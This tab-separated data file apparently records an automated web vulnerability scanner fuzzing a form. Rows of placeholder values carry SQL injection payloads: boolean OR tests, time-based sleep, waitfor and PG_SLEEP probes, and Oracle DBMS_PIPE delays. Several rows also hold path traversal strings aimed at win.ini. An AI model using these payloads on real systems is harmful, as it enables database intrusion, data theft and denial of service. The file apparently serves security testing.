1	-1' OR 5*5=26 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=25 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=26	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=25	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=26 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=25 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1*if(now()=sysdate(),sleep(15),0)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=26 or ""jcdgsnRi""="""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=25	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	(select 198766*667891 from DUAL)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	(select 198766*667891)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	@@iNCnG	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU����%2527%2522\'\"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU'"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUIy1qUigP'; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU0""XOR(if(now()=sysdate(),sleep(15),0))XOR""Z"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=26 or ""hvCdfX86""="""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=25 or ""hvCdfX86""="""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=26 or 'gQ3LT8lw'='	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=25 or 'gQ3LT8lw'='	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1GFsAjcZ7')) OR 994=(SELECT 994 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1)) OR 817=(SELECT 817 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1 OR 842=(SELECT 842 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1 waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1); waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1; waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	(select 198766*667891 from DUAL)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	(select 198766*667891)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	@@9Wf4r	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1����%2527%2522\'\"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1'"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1k5o26kXD')) OR 476=(SELECT 476 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1nbIF7CCU') OR 894=(SELECT 894 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1lkpyXD63' OR 899=(SELECT 899 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1)) OR 147=(SELECT 147 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1) OR 416=(SELECT 416 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1 OR 35=(SELECT 35 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1GPCDDi0I'; waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1 waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1); waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1; waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1*if(now()=sysdate(),sleep(15),0)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=26 or ""WMBPTBa4""="""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=25 or ""WMBPTBa4""="""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=26 or 'VGbRSXF8'='	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=25 or 'VGbRSXF8'='	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=26 -- "	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=25 -- "	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=26 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=25 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=26	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=25	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=26 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=25 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1CMrZOZKi	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	(select 198766*667891)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1'"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	14V5pgChg') OR 927=(SELECT 927 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1LSrr0nGf' OR 711=(SELECT 711 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1)) OR 425=(SELECT 425 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1 OR 952=(SELECT 952 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1f6FWr62F'; waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1 waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1); waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=26 or ""VNo2Qc19""="""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=25 or ""VNo2Qc19""="""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=26 or 'ymwiCGXu'='	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=26 -- "	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=26 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	(select 198766*667891 from DUAL)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	@@tVJFN	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1����%2527%2522\'\"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1QCHLTCtp')) OR 321=(SELECT 321 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1) OR 401=(SELECT 401 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1; waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1*if(now()=sysdate(),sleep(15),0)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../../../../../../../../../../../../../../windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=25 or 'ymwiCGXu'='	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=25 -- "	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=26 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=25 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=26	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=25	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=25 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1mX3y1PNm	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	19760384	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	(select 198766*667891 from DUAL)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	(select 198766*667891)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	@@WZ2bZ	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU����%2527%2522\'\"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU'"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
